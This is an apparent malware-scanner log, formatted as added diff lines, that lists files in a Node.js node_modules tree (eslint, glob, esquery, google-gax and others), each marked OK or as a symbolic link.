+/scan/node_modules/eslint/lib/rules/require-await.js: OK
+/scan/node_modules/eslint/lib/rules/no-dupe-class-members.js: OK
+/scan/node_modules/eslint/lib/rules/no-octal-escape.js: OK
+/scan/node_modules/eslint/lib/rules/max-depth.js: OK
+/scan/node_modules/eslint/lib/rules/no-dupe-args.js: OK
+/scan/node_modules/eslint/lib/rules/no-misleading-character-class.js: OK
+/scan/node_modules/eslint/lib/rules/no-useless-computed-key.js: OK
+/scan/node_modules/eslint/lib/eslint/eslint.js: OK
+/scan/node_modules/eslint/lib/eslint/index.js: OK
+/scan/node_modules/eslint/lib/eslint/flat-eslint.js: OK
+/scan/node_modules/eslint/lib/eslint/eslint-helpers.js: OK
+/scan/node_modules/eslint/lib/cli.js: OK
+/scan/node_modules/eslint/lib/api.js: OK
+/scan/node_modules/eslint/lib/source-code/source-code.js: OK
+/scan/node_modules/eslint/lib/source-code/index.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/cursors.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/backward-token-cursor.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/backward-token-comment-cursor.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/filter-cursor.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/index.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/forward-token-comment-cursor.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/padded-token-cursor.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/forward-token-cursor.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/cursor.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/utils.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/skip-cursor.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/decorative-cursor.js: OK
+/scan/node_modules/eslint/lib/source-code/token-store/limit-cursor.js: OK
+/scan/node_modules/eslint/conf/globals.js: OK
+/scan/node_modules/eslint/conf/replacements.json: OK
+/scan/node_modules/eslint/conf/config-schema.js: OK
+/scan/node_modules/eslint/conf/default-cli-options.js: OK
+/scan/node_modules/eslint/conf/rule-type-list.json: OK
+/scan/node_modules/glob/LICENSE: OK
+/scan/node_modules/glob/sync.js: OK
+/scan/node_modules/glob/README.md: OK
+/scan/node_modules/glob/package.json: OK
+/scan/node_modules/glob/common.js: OK
+/scan/node_modules/glob/glob.js: OK
+/scan/node_modules/esquery/dist/esquery.min.js.map: OK
+/scan/node_modules/esquery/dist/esquery.lite.min.js.map: OK
+/scan/node_modules/esquery/dist/esquery.js: OK
+/scan/node_modules/esquery/dist/esquery.esm.js: OK
+/scan/node_modules/esquery/dist/esquery.lite.min.js: OK
+/scan/node_modules/esquery/dist/esquery.lite.js: OK
+/scan/node_modules/esquery/dist/esquery.esm.min.js.map: OK
+/scan/node_modules/esquery/dist/esquery.esm.min.js: OK
+/scan/node_modules/esquery/dist/esquery.min.js: OK
+/scan/node_modules/esquery/README.md: OK
+/scan/node_modules/esquery/package.json: OK
+/scan/node_modules/esquery/license.txt: OK
+/scan/node_modules/esquery/parser.js: OK
+/scan/node_modules/import-fresh/license: OK
+/scan/node_modules/import-fresh/index.js: OK
+/scan/node_modules/import-fresh/readme.md: OK
+/scan/node_modules/import-fresh/package.json: OK
+/scan/node_modules/import-fresh/index.d.ts: OK
+/scan/node_modules/fast-levenshtein/LICENSE.md: OK
+/scan/node_modules/fast-levenshtein/README.md: OK
+/scan/node_modules/fast-levenshtein/package.json: OK
+/scan/node_modules/fast-levenshtein/levenshtein.js: OK
+/scan/node_modules/to-regex-range/LICENSE: OK
+/scan/node_modules/to-regex-range/index.js: OK
+/scan/node_modules/to-regex-range/README.md: OK
+/scan/node_modules/to-regex-range/package.json: OK
+/scan/node_modules/google-gax/node_modules/.bin/uuid: Symbolic link
+/scan/node_modules/google-gax/node_modules/uuid/LICENSE.md: OK
+/scan/node_modules/google-gax/node_modules/uuid/CHANGELOG.md: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/sha1.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/stringify.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/rng.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/sha1-browser.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/md5-browser.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/native.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/bin/uuid: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/v4.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/v1.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/index.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/v5.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/v35.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/version.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/parse.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/sha1.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/stringify.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/rng.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/native.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/v4.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/v1.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/index.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/v5.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/v35.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/version.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/parse.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/md5.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/v3.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/regex.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/validate.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-browser/nil.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/uuid-bin.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/md5.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/v3.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/regex.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/native-browser.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/sha1.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/stringify.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/rng.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/native.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/v4.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/v1.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/index.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/v5.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/v35.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/version.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/parse.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/md5.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/v3.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/regex.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/validate.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/esm-node/nil.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/sha1.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/stringify.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/rng.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/native.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/v4.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/v1.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/index.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/v5.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/v35.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/version.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/parse.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/md5.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/v3.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/regex.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/validate.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/commonjs-browser/nil.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/rng-browser.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/validate.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/dist/nil.js: OK
+/scan/node_modules/google-gax/node_modules/uuid/wrapper.mjs: OK
+/scan/node_modules/google-gax/node_modules/uuid/README.md: OK
+/scan/node_modules/google-gax/node_modules/uuid/package.json: OK
+/scan/node_modules/google-gax/node_modules/uuid/CONTRIBUTING.md: OK
+/scan/node_modules/google-gax/package.json: OK
+/scan/node_modules/google-gax/build/protos/locations.d.ts: OK
+/scan/node_modules/google-gax/build/protos/locations.json: OK
+/scan/node_modules/google-gax/build/protos/compute_operations.d.ts: OK
+/scan/node_modules/google-gax/build/protos/google/longrunning/operations.proto: OK
+/scan/node_modules/google-gax/build/protos/google/iam/v1/iam_policy.proto: OK
+/scan/node_modules/google-gax/build/protos/google/iam/v1/options.proto: OK
+/scan/node_modules/google-gax/build/protos/google/iam/v1/policy.proto: OK
+/scan/node_modules/google-gax/build/protos/google/iam/v1/logging/audit_data.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/localized_text.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/money.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/calendar_period.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/latlng.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/quaternion.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/month.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/datetime.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/color.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/timeofday.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/date.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/phone_number.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/dayofweek.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/postal_address.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/expr.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/fraction.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/interval.proto: OK
+/scan/node_modules/google-gax/build/protos/google/type/decimal.proto: OK
+/scan/node_modules/google-gax/build/protos/google/cloud/location/locations.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/context.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/client.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/http.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/config_change.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/system_parameter.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/monitoring.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicemanagement/v1/servicemanager.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicemanagement/v1/resources.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/routing.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/launch_stage.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/distribution.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/apikeys/v2/resources.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/apikeys/v2/apikeys.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/error_reason.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/endpoint.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/v1beta1/decl.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/v1beta1/value.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/v1beta1/source.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/v1beta1/expr.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/v1beta1/eval.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/v1alpha1/syntax.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/v1alpha1/checked.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/v1alpha1/value.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/v1alpha1/explain.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/v1alpha1/eval.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/expr/conformance/v1alpha1/conformance_service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/usage.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/monitored_resource.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/annotations.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/visibility.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/control.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/metric.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/label.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/consumer.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/log.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/billing.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/logging.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicecontrol/v1/quota_controller.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicecontrol/v1/distribution.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicecontrol/v1/check_error.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicecontrol/v1/operation.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicecontrol/v1/metric_value.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicecontrol/v1/log_entry.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicecontrol/v1/http_request.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicecontrol/v1/service_controller.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/servicecontrol/v2/service_controller.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/cloudquotas/v1/resources.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/cloudquotas/v1/cloudquotas.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/documentation.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/serviceusage/v1/resources.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/serviceusage/v1/serviceusage.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/serviceusage/v1beta1/resources.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/serviceusage/v1beta1/serviceusage.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/quota.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/field_info.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/field_behavior.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/auth.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/policy.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/backend.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/source_info.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/resource.proto: OK
+/scan/node_modules/google-gax/build/protos/google/api/httpbody.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/query_service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/group.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/mutation_record.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/notification.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/alert_service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/span_context.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/uptime_service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/snooze.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/group_service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/alert.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/uptime.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/metric.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/dropped_labels.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/notification_service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/snooze_service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/service_service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/metric_service.proto: OK
+/scan/node_modules/google-gax/build/protos/google/monitoring/v3/common.proto: OK
+/scan/node_modules/google-gax/build/protos/google/rpc/http.proto: OK
+/scan/node_modules/google-gax/build/protos/google/rpc/code.proto: OK
+/scan/node_modules/google-gax/build/protos/google/rpc/context/attribute_context.proto: OK
+/scan/node_modules/google-gax/build/protos/google/rpc/context/audit_context.proto: OK
+/scan/node_modules/google-gax/build/protos/google/rpc/status.proto: OK
+/scan/node_modules/google-gax/build/protos/google/rpc/error_details.proto: OK
+/scan/node_modules/google-gax/build/protos/google/logging/type/log_severity.proto: OK
+/scan/node_modules/google-gax/build/protos/google/logging/type/http_request.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/timestamp.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/field_mask.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/util/json_format.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/util/json_format_proto3.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/proto/editions_transform_proto2.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/proto/editions_transform_proto3.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/proto/editions_transform_proto2_utf8_disabled.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/proto/editions_transform_proto3_utf8_disabled.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/proto/editions_transform_proto2_lite.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/golden/editions_transform_proto2.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/golden/simple_proto3.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/golden/editions_transform_proto3.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/golden/simple_proto2.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/golden/editions_transform_proto2_utf8_disabled.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/golden/editions_transform_proto3_utf8_disabled.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/golden/simple_proto2_import.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/golden/editions_transform_proto2_lite.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_optional.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_unpacked.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto3_packed.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_multiline_comments.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_packed.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_enum.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto3_implicit.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto3_unpacked.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_utf8_disabled.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto3_optional.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_utf8_verify.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_utf8_lite.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_inline_comments.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_group.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto3_import.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto3_enum.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_import.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_required.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto3_utf8_strict.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/editions/codegen_tests/proto2_proto3_enum.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/bridge/message_set.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/sample_messages_edition.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/api.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/duration.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/struct.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/cpp_features.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/wrappers.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/source_context.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/any.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/type.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/empty.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/compiler/plugin.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/compiler/ruby/ruby_generated_code_proto2.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/compiler/ruby/ruby_generated_pkg_implicit.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/compiler/ruby/ruby_generated_pkg_explicit.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/compiler/ruby/ruby_generated_code.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/compiler/ruby/ruby_generated_code_proto2_import.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/compiler/ruby/ruby_generated_pkg_explicit_legacy.proto: OK
+/scan/node_modules/google-gax/build/protos/google/protobuf/descriptor.proto: OK
+/scan/node_modules/google-gax/build/protos/compute_operations.json: OK
+/scan/node_modules/google-gax/build/protos/http.d.ts: OK
+/scan/node_modules/google-gax/build/protos/compute_operations.js: OK
+/scan/node_modules/google-gax/build/protos/iam_service.js: OK
+/scan/node_modules/google-gax/build/protos/iam_service.json: OK
+/scan/node_modules/google-gax/build/protos/iam_service.d.ts: OK
+/scan/node_modules/google-gax/build/protos/locations.js: OK
+/scan/node_modules/google-gax/build/protos/operations.js: OK
+/scan/node_modules/google-gax/build/protos/status.json: OK
+/scan/node_modules/google-gax/build/protos/operations.d.ts: OK
+/scan/node_modules/google-gax/build/protos/http.js: OK
+/scan/node_modules/google-gax/build/protos/operations.json: OK
+/scan/node_modules/google-gax/build/src/iamService.d.ts: OK
+/scan/node_modules/google-gax/build/src/createApiCall.d.ts: OK
+/scan/node_modules/google-gax/build/src/warnings.js: OK
+/scan/node_modules/google-gax/build/src/gax.js: OK
+/scan/node_modules/google-gax/build/src/routingHeader.d.ts: OK
+/scan/node_modules/google-gax/build/src/pathTemplate.js.map: OK
+/scan/node_modules/google-gax/build/src/fallback.js.map: OK
+/scan/node_modules/google-gax/build/src/operationsClient.d.ts: OK
+/scan/node_modules/google-gax/build/src/streamArrayParser.js: OK
+/scan/node_modules/google-gax/build/src/streamArrayParser.js.map: OK
+/scan/node_modules/google-gax/build/src/util.js: OK
+/scan/node_modules/google-gax/build/src/streamingCalls/streamDescriptor.js: OK
+/scan/node_modules/google-gax/build/src/streamingCalls/streamingApiCaller.d.ts: OK
+/scan/node_modules/google-gax/build/src/streamingCalls/streamDescriptor.d.ts: OK
+/scan/node_modules/google-gax/build/src/streamingCalls/streamingApiCaller.js.map: OK
+/scan/node_modules/google-gax/build/src/streamingCalls/streaming.js.map: OK
+/scan/node_modules/google-gax/build/src/streamingCalls/streamDescriptor.js.map: OK
+/scan/node_modules/google-gax/build/src/streamingCalls/streamingApiCaller.js: OK
+/scan/node_modules/google-gax/build/src/streamingCalls/streaming.js: OK
+/scan/node_modules/google-gax/build/src/streamingCalls/streaming.d.ts: OK
+/scan/node_modules/google-gax/build/src/apiCaller.js.map: OK
+/scan/node_modules/google-gax/build/src/paginationCalls/pageDescriptor.js.map: OK
+/scan/node_modules/google-gax/build/src/paginationCalls/resourceCollector.d.ts: OK
+/scan/node_modules/google-gax/build/src/paginationCalls/pageDescriptor.js: OK
+/scan/node_modules/google-gax/build/src/paginationCalls/pagedApiCaller.js: OK
+/scan/node_modules/google-gax/build/src/paginationCalls/pageDescriptor.d.ts: OK
+/scan/node_modules/google-gax/build/src/paginationCalls/pagedApiCaller.d.ts: OK
+/scan/node_modules/google-gax/build/src/paginationCalls/pagedApiCaller.js.map: OK
+/scan/node_modules/google-gax/build/src/paginationCalls/resourceCollector.js: OK
+/scan/node_modules/google-gax/build/src/paginationCalls/resourceCollector.js.map: OK
+/scan/node_modules/google-gax/build/src/googleError.d.ts: OK
+/scan/node_modules/google-gax/build/src/featureDetection.js: OK
+/scan/node_modules/google-gax/build/src/call.js.map: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundleExecutor.d.ts: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundlingUtils.js: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundleDescriptor.d.ts: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/task.js.map: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundlingUtils.js.map: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/task.d.ts: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/task.js: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundleExecutor.js: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundleApiCaller.d.ts: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundleExecutor.js.map: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundleDescriptor.js: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundleApiCaller.js.map: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundleApiCaller.js: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundlingUtils.d.ts: OK
+/scan/node_modules/google-gax/build/src/bundlingCalls/bundleDescriptor.js.map: OK
+/scan/node_modules/google-gax/build/src/apitypes.d.ts: OK
+/scan/node_modules/google-gax/build/src/util.js.map: OK
+/scan/node_modules/google-gax/build/src/gax.d.ts: OK
+/scan/node_modules/google-gax/build/src/protobuf.d.ts: OK
+/scan/node_modules/google-gax/build/src/apiCaller.js: OK
+/scan/node_modules/google-gax/build/src/clientInterface.js.map: OK
+/scan/node_modules/google-gax/build/src/transcoding.js: OK
+/scan/node_modules/google-gax/build/src/grpc.js: OK
+/scan/node_modules/google-gax/build/src/apiCaller.d.ts: OK
+/scan/node_modules/google-gax/build/src/fallback.d.ts: OK
+/scan/node_modules/google-gax/build/src/descriptor.js: OK
+/scan/node_modules/google-gax/build/src/fallbackServiceStub.d.ts: OK
+/scan/node_modules/google-gax/build/src/iamService.js: OK
+/scan/node_modules/google-gax/build/src/featureDetection.d.ts: OK
+/scan/node_modules/google-gax/build/src/apitypes.js: OK
+/scan/node_modules/google-gax/build/src/iamService.js.map: OK
+/scan/node_modules/google-gax/build/src/index.js: OK
+/scan/node_modules/google-gax/build/src/streamArrayParser.d.ts: OK
+/scan/node_modules/google-gax/build/src/locationService.d.ts: OK
+/scan/node_modules/google-gax/build/src/grpc.js.map: OK
+/scan/node_modules/google-gax/build/src/call.d.ts: OK
+/scan/node_modules/google-gax/build/src/operations_client_config.json: OK
+/scan/node_modules/google-gax/build/src/fallbackRest.d.ts: OK
+/scan/node_modules/google-gax/build/src/call.js: OK
+/scan/node_modules/google-gax/build/src/protobuf.js: OK
+/scan/node_modules/google-gax/build/src/descriptor.js.map: OK
+/scan/node_modules/google-gax/build/src/protosList.json: OK
+/scan/node_modules/google-gax/build/src/googleError.js: OK
